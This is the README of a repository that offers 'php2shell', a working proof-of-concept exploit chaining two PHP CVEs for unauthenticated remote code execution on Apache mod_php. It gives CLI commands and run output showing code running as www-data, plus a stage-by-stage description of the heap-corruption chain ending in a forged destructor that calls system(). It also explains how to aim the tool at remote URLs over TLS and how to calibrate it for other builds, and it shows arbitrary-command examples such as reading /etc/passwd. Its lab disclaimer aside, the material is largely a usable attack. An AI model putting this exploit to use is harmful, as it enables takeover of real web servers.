ZSecurity 663481efe2
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
feat(wire): https target support with certificate verification; document reverse-proxy limitation
2026-10-24 14:19:57 +07:00

php2shell — PoC for CVE-2026-109618 + CVE-2026-109619

Unauthenticated remote code execution against Apache mod_php running a vulnerable PHP, using only HTTP multipart requests, with no application code required and no session_start() in the target page.

$ ./lab/up.sh
target: OK
$ python -m poc exploit
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
[1/4] A1 oom            status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak           decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom            status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge          S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
      RCE OK; proof /…/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

__author__ ZSecurity · __org__ Linuxhackingid · v0.1.0


Scope and authorisation

Local Docker lab only. Every connection goes to a container started by lab/up.sh on 127.0.0.1. This is a reproduction harness plus a staged verification of two published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not own or have written authorisation to test.

The vulnerabilities

CVE-2026-109618 CVE-2026-109619
Title RCE via OOM corruption RCE via stale global state
Fixed in 8.2.35, 8.3.36, 8.4.27, 8.5.12 same
Weakness OOM longjmp() abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it
Confirmed SAPI Apache mod_php (shutdown runs even when startup failed) mod_php; session-lifecycle path also validated on FPM per the advisory

Vendor advisories: GHSA-w8hw-w9fx-j79w, GHSA-6wmf-4rv5-p3rp. Version ranges above are read from NVD cpeMatch.versionEndExcluding, not from blog prose. Grounding notes, including every source URL and the raw mechanism text, are in NOTES.md.

What this PoC implements — and what it does not

Four primitives were published under these two CVEs. This PoC implements two of them plus the OOM producer:

Primitive Implemented
Upload-progress unserializer state (BG(unserialize)) → controlled corruption yes (A2/B2)
Remote process-memory disclosure via stale PS(id) in a PHPSESSID cookie yes (A1/B1)
OOM producer via multipart without a usable Content-Length yes (A1, A2)
EG(last_fatal_error_backtrace) UAF (PHP 8.5, needs fatal_error_backtraces) no
OPcache CG(map_ptr_last) cross-worker type confusion no

Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source analysis with no complete exploit demonstrated; that remains true of this artifact.

Stage → CVE mapping

The vendor does not label which primitive belongs to which CVE. This mapping is analytical, not a citation:

Stage Role CVE
A1 — multipart OOM at END cleanup producer: leaves dangling PS(id) / PS(mod_data), send_cookie=1 109618
B1 — second request URL-encodes the stale PS(id) consumer: 800 KB memory disclosure 109619
A2 — cheap OOM over nested fields producer: leaves dangling PS(hash_serialize_verifier) 109618
B2 — fake zend_reference → fake zend_array consumer: zend_hash_destroy calls pDestructor = zif_system 109619

Install

git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
cd php2shell-cve-2026-109618-109619
python -m unittest discover -s tests -t .   # 71 pass, 4 skip (need the target binary)

Nothing to pip install. The two tests that need the target's libphp.so skip themselves on a fresh clone — see research/README.md to enable them.

Requirements

  • Docker with a Linux engine, x86_64 (the target image is linux/amd64)
  • Python 3.9+ — standard library only, no third-party packages
  • No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from PowerShell, cmd, git-bash, zsh, and bash. The lab/*.sh files are conveniences that wrap the same Python entry points.

Platform support

OS Status How it was checked
Windows 11 works PowerShell + git-bash, stock PATH where bash resolves to WSL; full chain uid=33(www-data)
Linux x86_64 works Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (uid=33(www-data))
macOS expected to work, not executed here no macOS host available; the CI matrix (.github/workflows/ci.yml) runs the unit tests and offline selftest on macos-latest, and the code has no Windows-only branches except the separator normalisation in poc/lab.py

Verified interpreter versions: 3.9.25, 3.13, 3.14.7.

Quickstart

Windows (PowerShell) and Linux/macOS are the same commands:

python -m poc lab            # bring the target up, check it, run the chain
cat out\p1                   # uid=33(www-data)
python -m poc lab
cat out/p1

Step by step, if you want to see each stage:

./lab/up.sh                  # or: python -m poc lab up
python -m poc check          # version, ini, libphp hash, profile, worker count
python -m poc leak           # A1 + B1 only: the disclosure
python -m poc exploit        # A1 -> B1 -> A2 -> B2 -> proof file
python -m poc status         # or: python -m poc lab status
./lab/down.sh                # or: python -m poc lab down

The lab and the exploit are deliberately separate commands: poc lab only manages the container, poc check only reads the target's configuration, and poc exploit only sends the chain. Nothing is chained implicitly, so you can point poc exploit at a target someone else started. poc exploit refuses to run when nothing is listening and tells you to start a lab.

CLI

Command Purpose
poc lab [up|down|status] container lifecycle only — no exploitation. up (default) recreates the target and waits until it answers; down removes it; status dumps diagnostics. --image, --name, --port, --net override the target
poc check preflight: php version + vulnerable/patched verdict, nine ini values, libphp.so sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic.
poc status container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count
poc offsets --lib PATH derive zval_ptr_dtor, zif_system, zif_passthru from an ELF .symtab/.dynsym
poc leak A1 + B1 only: produce and classify the disclosure cookie (--save keeps the raw response)
poc exec --cmd CMD full chain with CMD wrapped so its output returns to you via /out/.poc-exec; prints the output, returns its exit code
poc exploit full chain; --dry-run forges and hashes all four bodies without touching the network; --retries N; --cmd; --proof
poc selftest offline: build all four bodies, check sizes and layout invariants

All commands accept --host --port --name --profile --workers --json. --workers N occupies N-1 prefork children so the four chain requests land on the same worker.

IMAGE, NAME, PORT, and NET environment variables are honoured by poc lab (so the shell wrappers keep the old IMAGE=… NAME=… ./lab/up.sh idiom working), and the equivalent flags (--image --name --port --net) are the portable form.

Targeting a URL or a remote host

poc exploit and poc leak accept a URL instead of host/port:

python -m poc exploit --url http://127.0.0.1:18110
python -m poc exploit --url http://10.0.0.5:8080/app/index.php
python -m poc leak    --url http://lab.internal --save leak.resp

--url fills in host, port (80 for http://, 443 for https://) and the request path (default /index.php); --host, --port, --tls and --path override it. TLS is real TLS: certificate verification is on by default, so a lab with a self-signed certificate needs --insecure:

python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure
python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure

What is verified over TLS: the transport layer (handshake, certificate rejection by default, chunked framing through a ssl socket) and stage A1 against a TLS-terminated target — it returns the real 500 OOM. What is not reliable: stages B1 onward when a reverse proxy sits in front of mod_php, because the worker aborts during that request's shutdown and the proxy turns the truncated upstream response into 502 Bad Gateway (measured: direct http:// to the same container gives full RCE; the same container behind nginx TLS gives 502 at B1). Point the chain at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer.

Only point this at a host you own or have written authorisation to test. There is no scanning, no target list, no threading: one URL, one chain, and the proof lands in the mounted out/ directory, so a remote target needs a way for you to read that file (or --cmd with an out-of-band effect you can observe).

A URL is not sufficient on its own for the chain to work. The technical preconditions are:

  • Apache mod_php. The vulnerability's confirmed path depends on mod_php running request shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here.
  • All four requests must hit the same prefork child. Behind a load balancer, a CDN, or a multi-worker pool without pinning, the dangling pointers do not survive. Locally --workers occupies N-1 children; you cannot do that to someone else's server, so target pools must be small (ideally one worker) or the chain has to be retried a lot.
  • The build must match a profile. s_delta, hsv_delta, the destructor offset and the fingerprint counts are per-libphp.so. poc check and poc status work by docker exec, so they only apply to the local container — for a remote host, obtain its libphp.so, verify the SHA-256, run python -m poc offsets --lib <file> and add a profile keyed by that hash before expecting the write primitive to land.
  • Default input limits. memory_limit=128M, post_max_size=8M, output_buffering=0 and session.upload_progress.enabled=On are what the OOM stages were calibrated against.

In other words: a URL is convenient for your own lab published on a LAN or in a cloud network, not a general-purpose remote exploit.

"Persistence" — two different questions

1. Connection persistence: not needed, and not used. Every request is its own TCP connection with Connection: close, chunked only where the body must bypass post_max_size. What has to "persist" across A1 → B1 → A2 → B2 is the worker process, not the socket: PS(id) and PS(hash_serialize_verifier) live in the child's globals and the heap layout is per-process. That is why --workers exists — it occupies N-1 prefork children so the four requests land on the same one. A keep-alive connection would not help; a different child breaks the chain.

2. Session persistence after RCE: there is none, by design of the primitive. The payload is system() reached as a pDestructor from zend_hash_destroy during request shutdown. That means:

  • it fires once per request, synchronously, and blocks the worker until the command returns;
  • there is no stdin and no stdout — output only exists if the command writes it somewhere (which is why the proof goes to the mounted /out);
  • the forged array is consumed at shutdown, so a second command needs the whole chain again (~2 s per command), not a resumed session.

poc exec makes that cycle convenient — it wraps your command so stdout/stderr land in /out/.poc-exec, runs the chain with retries, prints the output back, and returns a real exit code:

python -m poc exec --cmd 'id; hostname; uname -sr'
python -m poc exec --cmd 'ls -la /var/www/html'
python -m poc exec --cmd 'cat /etc/passwd | head -3'

Measured on this lab: 5 sequential poc exec cycles on the same worker, 5/5 exit 0, zero retries, with a counter file in /out incrementing 1→5 — so the worker survives repeated cycles; what does not exist is a shared session. Anything that must survive between commands has to be written to disk (/out) rather than held in memory.

For commands longer than the 200-byte carrier limit, write a script into out/ and run python -m poc exec --cmd 'sh</out/c'.

Deliberately not shipped: an interactive shell, a backdoor, auto-reconnect, or a dropper. A persistent channel would be a listener inside the container plus a published port (lab-only, and we control docker run), or a polling loop over the mounted volume — both are implant mechanics rather than proof-of-concept mechanics, and they are out of scope for this artifact. If you need one for an exercise, build it yourself against a target you own; the primitive here gives you arbitrary system() and nothing else.

Status — what was verified, and how

Every row below is a command that was actually run in this environment, with its own artifact.

Stage Command Observed
Lab build identity python -m poc check PHP 8.4.26 NTS, libphp.so sha256 51663cf8…f4ee679c = profile; Apache 2.4.69; memory_limit=128M, post_max_size=8M, display_errors=Off, session.upload_progress.enabled=On; 1 worker
Symbol offsets python -m poc offsets --lib research/libphp.so zval_ptr_dtor=0x65eb60, zif_system=0x465370 — matches the profile
Offline suite python -m unittest discover -s tests -t . 75 tests, all pass, 0 skipped
Body parity tests/test_bodies_parity.py A1/A2/B1 SHA-256 identical to the reference generators (8e8fc166…, 7af66c8f…, b6c547e0…)
Stage 1–2 (disclosure) python -m poc leak A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; zval_ptr_dtor ×1095; libphp − main in range; main-chunk fingerprint count 87
Stage 3–4 (RCE) python -m poc exploit [4/4] … RCE OK, out/p1 contains uid=33(www-data) gid=33(www-data) groups=33(www-data); exit 0
Reproducibility 3 fresh containers, one run each 3/3 uid=33(www-data)
Repeat commands 5 sequential poc exec cycles, same worker 5/5 exit 0, 0 retries, counter in /out reached 5
Linux (unit) python -m unittest inside python:3.9-slim and python:3.13-slim 67/67 OK on both
Linux (chain) python -m poc exec --url http://p2s-lab/index.php from a python:3.9-slim container on the lab network uid=33(www-data)
Windows shell independence python -m poc lab up + python -m poc exploit from PowerShell with a stock PATH where bash resolves to C:\Windows\System32\bash.exe (WSL) exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it
Specificity poc lab up --image php:8.4.27-apache then poc check / poc exploit check → 8.4.27 patched, NOT READY, exit 1; exploit → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and no proof file is created
Reference control unchanged reference chain against this lab same proof — confirms the lab build is the one the published offsets describe

The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.

How it works

Four requests, all served by the same prefork child, in order. Each request is a multipart body built byte-for-byte by poc/bodies.py / poc/forge.py:

  1. A1 — chunked multipart with no Content-Length, so the post_max_size check is skipped; 860 depth-64 nested empty-file fields plus fillers burn the 128 MB memory_limit inside the multipart parser. The OOM bailout leaves PS(id) dangling with send_cookie=1.
  2. B1 — a second multipart request whose values re-fill the freed chunk with a forged zend_string header (len=0xC8000) at the address PS(id) still points to. Shutdown URL-encodes 800 KB of worker memory into the PHPSESSID response cookie. The window contains a repeating zval_ptr_dtor pointer (→ libphp base) and a 2 MiB-aligned chunk with exactly 87 pointers (→ main chunk base). A libphp − main range check discards bad leaks.
  3. A2 — 880 nested fields plus short fillers; a cheap OOM leaves PS(hash_serialize_verifier) pointing into the heap.
  4. B2 — a 384-byte spray of fake zend_reference values rewrites that pointer to a forged zend_array at main + 0xF8398 whose pDestructor is zif_system; request shutdown calls zend_hash_destroy on it and executes the command.

Calibration constants are not in the code paths — they live in poc/profiles.py, keyed by the target's libphp.so SHA-256.

Calibration model and caveats

  • Offsets are per-build. dtor_offset, zif_offset, s_delta, hsv_delta, main_bucket_count, and the delta window are valid only for the libphp.so whose SHA-256 keys the profile. poc check refuses to call the target ready when the hash has no profile.
  • The pointer window is canonical user space, not 0x7f. A published reference chain filters candidate pointers to ≥ 0x7F0000000000. On this host the container's mmap base lands at 0x73…/0x78…/0x7d…, so that filter discards the real leak and the chain fails with "no heap pointers". This PoC accepts 2^36 … 2^47−1 and instead gates candidate destructor anchors on page alignment of the derived base plus a quorum. That gate is load-bearing: the window's most common in-range qword is a zend_string header (0x1600000001, 1282×), which outnumbers zval_ptr_dtor (1095×) and would win a naive "most common" pick.
  • Re-leak, don't re-forge. A bad base recovery means the A1/B1 pair is redone, never A2/B2: the worker's addresses are already poisoned once A2 runs.
  • Command length is capped at 200 bytes by the 384-byte carrier (0x160 − 0x98). For longer payloads, write a script into the mounted out/ directory and run sh</out/c.

Repository layout

lab/      docker target (rootfs files + thin shims that call the Python entry points)
poc/      profiles · elf · wire · bodies · forge · leak · lab · cli
tests/    32 unit tests; golden body hashes live in tests/golden/bodies.json
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate

research/upstream/ is a read-only clone of the public reference chain, used once as a control test and to generate the golden body hashes. Nothing in poc/ imports it.

Attribution

PoC, harness and calibration: ZSecurity — Linuxhackingid (__author__ / __org__ in poc/__init__.py, and the banner every command prints).

Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team (Jakub Zelenka), and the authors of the public reference chain used for control testing and golden-hash generation. This repository is an independent rebuild of those published primitives with a profile-driven calibration model, a staged verifier, and a patched-build negative control; the wire bodies are reimplemented and proven byte-identical rather than vendored.

License

MIT — see LICENSE. Copyright (c) 2026 ZSecurity (Linuxhackingid).

The research this artifact reproduces is not covered by that licence; cite the vendor advisory and the original researchers listed above.

S
Description
Unauthenticated RCE PoC for CVE-2026-109618 + CVE-2026-109619 (php2shell) against Apache mod_php. Profile-driven chain: OOM producer -> 800 KB cross-request heap disclosure -> pDestructor = system(). Verified on PHP 8.4.26, fails on 8.4.27.
Readme MIT
168 KiB
Languages
Python 100%